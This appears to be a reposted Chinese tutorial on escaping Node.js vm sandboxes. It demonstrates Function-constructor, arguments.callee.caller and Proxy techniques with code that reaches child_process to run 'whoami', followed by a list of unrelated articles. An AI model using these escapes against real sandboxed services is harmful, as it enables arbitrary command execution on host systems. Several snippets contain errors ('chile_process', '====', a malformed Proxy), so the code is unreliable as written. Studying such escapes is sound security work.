安全基础 --- nodejs沙箱逃逸

news2025/2/25 17:29:04

nodejs沙箱逃逸

沙箱绕过原理:沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱

  • 前提:使用vm模块,实现沙箱逃逸环境。(vm模式是nodejs中内置的模块,是nodejs提供给使用者的隔离环境)
  • 目的:拿到process模块

实现沙箱逃逸,拿到目标

(1)Function构造函数实现

源代码:
const vm = require('vm');
// 一代沙箱,不安全,有逃逸漏洞
const script = `m + n`;
// 沙箱内引入脚本执行命令
const sandbox = {m:1,n:2};
// 为沙箱中传入对象
const context = new vm.createContext(sandbox);
// 创建沙箱的上下文环境,将沙箱对象传入
const res = vm.runContext(script,sandbox);
// 通过script参数进行沙箱内部的执行
console.log(res);
引入Function():

this来引入当前上下文里没有的模块,绕过这个隔离环境

const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
// this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,即Function()这个构造函数,构造器中传入字符串类型的代码
// process模块调用mainModule,require用来导入子类的process模块,然后使用execSync执行命令

问题1:为什么不能使用{}.toString.constructor('return process')(),却使用this?

{} 是在沙盒内部的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的 {} 无法获取process,因为其本身就无process

问题2:m和n也是沙盒外的对象,为什么不能用m.toString.constructor('return process')()实现?

因为 primitive types,数字、字符串、布尔这些都是 primitive types ,他们传递的是值,沙盒内使用的m和外部的m不是同一个m,无法利用。

const sandbox = {m:[],n:{},x:/regexp/}
// 修改后就可利用了
实现:
const vm = require('vm');
const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = {m:[],n:{},x:/regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res);

(2)argument.callee.caller实现

源代码:

(在1的基础上,进行修改,使得this无法实现)

const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null);
// 上下文无对象,this指向为空
const res = vm.runInContext(script,context);

// Object.create(null)指向了纯净的空对象,无原型链,无this环境,无任何方式方法。
// 在js中,this指向window;nodejs中的this指向global
分析:
const sandbox = Object.create(null);

function greet(){
    console.log(this);
}
// 此时的this是在sandbox下调用,此时的this指向null
sandbox.greet = greet;
// 将greet赋值给sandbox中的greet属性
sandbox.greet();
// 实现调用

利用arguments.callee.caller实现

arguments // js中的callee caller 是已经被废弃的属性

//(1) 写个函数实现callee
const factorial = function(n) {
    if (n === 0 || n ==== 1){
        return 1;
    }else{
        return n * arguments.callee(n-1);
// 实际上是递归进行传递,arguments.callee(n-1) === factorial(n-1)
    }
};
// 1 2 3 5 8  ---- 斐波那契数列
console.log(factorial(5)); // 120
// 5 * factorial(4)
// 5 * 4 * factorial(3)
// 5 * 4 * 3 * factorial(2)
// 5 * 4 * 3 * 2 * 1

// (2) 实现caller
function outer() {
    inner();
}

function inner() {
    // 函数的父类,谁调用了你,会指向某个调用你的函数。此处打印出的是outer()
    console.log(arguments.caller);
}
// 在inner中,arguments.caller是被outer调用
outer();
// undefined

arguments.callee.caller --- 某个调用你的方法

实现:
const vm = require('vm');
const script = `(() => {
    const a = {}
    a.toString = function() {
    const cc = arguments.callee.caller;
    const p = (cc.constructor('return process'))();
    return p.mainModule.require('chile_process').execSync('whoami').toString();
    }
    return a;
})()`;
// arguments.callee是函数本身,就是function(),加上.caller指向toString方法
// toString方法指向外部,在外部通过拼接字符串进行调用
// 最终toString方法指向沙箱外部
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res); // 通过hello触发
// 在js中,某个东西和字符串拼接,最终会变成一个字符串。'hello' + res --- string(自动调用toString方法)

// 相当于在外部通过hello进行字符串连接,连接了一个函数,最终调用toString方法,这个toString方法就会触发内部的a,触发a的toString方法,利用这个toString和constructor拿到内部的Function,最后返回process对象

(3)利用ex6的Proxy(代理模式)来劫持外部的get操作

Proxy可理解为:在目标对象前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,相当于对外界的访问进行过滤和改写。

例:拦截读取属性行为
var proxy = new Proxy(){
    get:function(target,proKey){
        return 35;
    }
}
proxy.time  // 35
proxy.name  // 35
proxy.title // 35
实现:
const vm = require('vm');
const script = `(() => {
    const a = new Proxy({},{
        get:function(){
            const cc = arguments.callee.caller;
            cc.constructor('return process')
        }
    })
})()`;
// 定义代理模式,将代理模式定义为空对象,这个空对象有get方法
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res.xxx);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1031036.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【腾讯云】打造未来智能应用的基石:腾讯混元大模型

写在前面:博主是一只经过实战开发历练后投身培训事业的“小山猪”,昵称取自动画片《狮子王》中的“彭彭”,总是以乐观、积极的心态对待周边的事物。本人的技术路线从Java全栈工程师一路奔向大数据开发、数据挖掘领域,如今终有小成…

vue-cli-service build 不同环境的配置

目录 🤜 背景 🤜 vue-cli-service介绍 🤜 环境变量和模式 🤜 配置不同模式 🤜index.html使用环境变量 🤜 验证 🤜 参考资料 🤜 背景 在项目部署时,我们需要在测试…

如何通过文件自动备份软件进行自动化备份?

​为什么要使用文件自动备份软件 有一位做客户资料保管登记的朋友,每天会在电脑上录入很多新的客户资料,并需要进行相关维护。比如删掉一些取消合作的客户,或者添加一些备注等等。对于像他这种工作性质的人来说,很需要一个可以…

c++ this指针与空指针调用类方法以及常函数

一、this指针 说明 1、c的成员变量与成员内函数是分开存储 2、每一个非静态成员函数只会诞生一份函数实例,多个同类型的队形公用的是同一份成员函数的代码 3、this指向调用这一份成员函数代码的对象实例 4、this是一个隐藏的指向对象实例的一个指针,无需定义直接使…

使用Vue-cli构建spa项目及结构解析

一,Vue-cli是什么? 是一个官方发布的Vue脚手架工具,用于快速搭建Vue项目结构,提供了现代前端开发所需要的一些基础功能,例如:Webpack打包、ESLint语法检查、单元测试、自动化部署等等。同时,Vu…

百度SEO不稳定的原因及解决方法(百度SEO不稳定因素的5大包括)

百度SEO优化不稳定介绍:蘑菇号-www.mooogu.cn 随着百度SEO算法的不断变化和升级,许多网站的SEO排名经常出现不稳定的情况,这种情况在一定程度上影响了网站的流量和排名,导致网站的质量评分降低。因此,深入分析百度SEO…

ubuntu的root用户修改密码失败

解决如下: 查看文件属性是否有a或i lsattr /etc/group /etc/passwd /etc/shadow 移除a和i的属性权限 chattr -ai /etc/group /etc/passwd /etc/shadow 再次使用passwd进行修改密码,就成功了

时序预测 | MATLAB实现NGO-LSTM北方苍鹰算法优化长短期记忆网络时间序列预测

时序预测 | MATLAB实现NGO-LSTM北方苍鹰算法优化长短期记忆网络时间序列预测 目录 时序预测 | MATLAB实现NGO-LSTM北方苍鹰算法优化长短期记忆网络时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 MATLAB实现NGO-LSTM北方苍鹰算法优化长短期记忆网络时间序列预…

排序算法-----计数排序

目录 前言: 计数排序 1.算法描述 2. 基本思想 3.实现逻辑 4.示例剖析 5.动图演示 代码实现 1.C/C代码 2.Python代码 算法分析 时间复杂度 空间复杂度 稳定性 局限性 前言: 有没有一种排序时间复杂度为直线正比的排序算法呢?有…

贸易战的影响:跨境电商的“黑洞”风险与机遇

当今全球贸易局势充满了不确定性和动荡。贸易战的阴云笼罩下,跨境电商企业面临着前所未有的挑战,但与此同时,也蕴藏着巨大的机遇。本文将深入探讨贸易战对跨境电商的影响,以及企业在这个新现实中如何应对风险并寻找机遇。 贸易战的…

以京东平台为例写一份电商平台API接口文档

公共参数 请求地址: 申请调用KEY地址 名称类型必须描述keyString是调用key(必须以GET方式拼接在URL中)secretString是调用密钥api_nameString是API接口名称(包括在请求地址中)[item_search,item_get,item_search_shop等]cacheSt…

Microsoft edge 设置百度首页

1. 新建页下载插件:New Tab Redirect 怎样将浏览器启动页和新标签页设置为特定的网页-百度经验 (baidu.com) 2. 首页设置百度页: 打开联想电脑管家

Talk | ICCV’23 清华赵天辰:Ada3D-基于动态推理的3D感知模型压缩及软硬件协同优化

​本期为TechBeat人工智能社区第533期线上Talk! 北京时间9月21日(周四)20:00,清华大学博士生—赵天辰的Talk已准时在TechBeat人工智能社区开播! 他与大家分享的主题是: “Ada3D-基于动态推理的3D感知模型压缩及软硬件协同优化”,他…

Go面试题:锁的实现原理sync-mutex篇

在Go中,主要实现了两种锁:sync.Mutex(互斥锁) 以及 sync.RWMutex(读写锁)。 本篇主要给大家介绍sync.Mutex的使用和实现原理。 文章目录 为什么需要锁在Go中对于并发程序进行公共资源的访问的限制最常用的就是互斥锁(sync.mutex&#xff09…

理清SpringBoot CURD处理逻辑、顺序

💗wei_shuo的个人主页 💫wei_shuo的学习社区 🌐Hello World ! 理清SpringBoot CURD处理逻辑、顺序 Controller(控制器): 控制器接收来自客户端的请求,并负责处理请求的路由和参数解析…

汽车电子AEC Q101车规认证FDD9507L-F085 P沟道MOS管

深力科带你了解关于汽车电子AEC Q101车规认证? 是一种针对分立半导体的可靠性测试认证程序,由汽车电子协会发布。这个认证程序主要是为了确保汽车电子产品在各种严苛的条件下能够正常工作和可靠运行。它包括了对分立半导体的可靠性、环境适应性、温度循…

配置文件和系统变量

文章目录 系统变量和配置文件1. 系统变量2. 配置文件的使用2.1 配置文件格式2.2 启动命令与选项组2.3 特定的MYSQL版本的专用选项组2.4 同一个配置文件中多个组的优先级2.5 命令行和配置文件中启动选项的区别 系统变量和配置文件 1. 系统变量 除了在用SET临时方式设置&#x…

【Vue】安装并使用vue-cli搭建SPA项目

目录 一、Vue-cli安装 1.1 什么是Vue-cli 1.2 安装Vue-cli 1.3 使用Vue-cli构建项目 二、SPA项目 2.1 导入、运行SPA项目 2.2 vue项目结构说明 2.3 .什么是*.vue文件 2.4 基于SPA项目完成路由 2.5 基于SPA项目完成嵌套路由 一、Vue-cli安装 1.1 什么是Vue-cli Vue CL…

ubuntu 配置NTP时间服务器

sudo apt update 显示秒(进入Top Bar 打开second) sudo apt install gnome-tweaks 安装ntp服务器 sudo apt install ntp 在服务端修改ntp配置开放客户端所在的网段 sudo gedit /etc/ntp.conf restrict 172.19.7.0 mask 255.255.255.0 nomodify notrap 重…

java - 散列算法 SHA-256 hash值计算

文章目录 前言java - 散列算法 SHA-256 hash值计算1. 散列算法是什么?2. 散列算法的主要特征是什么?3. 计算SHA-256值有没有可能重复4. SHA-256算法实现示例 前言 如果您觉得有用的话,记得给博主点个赞,评论,收藏一键三连啊,写作…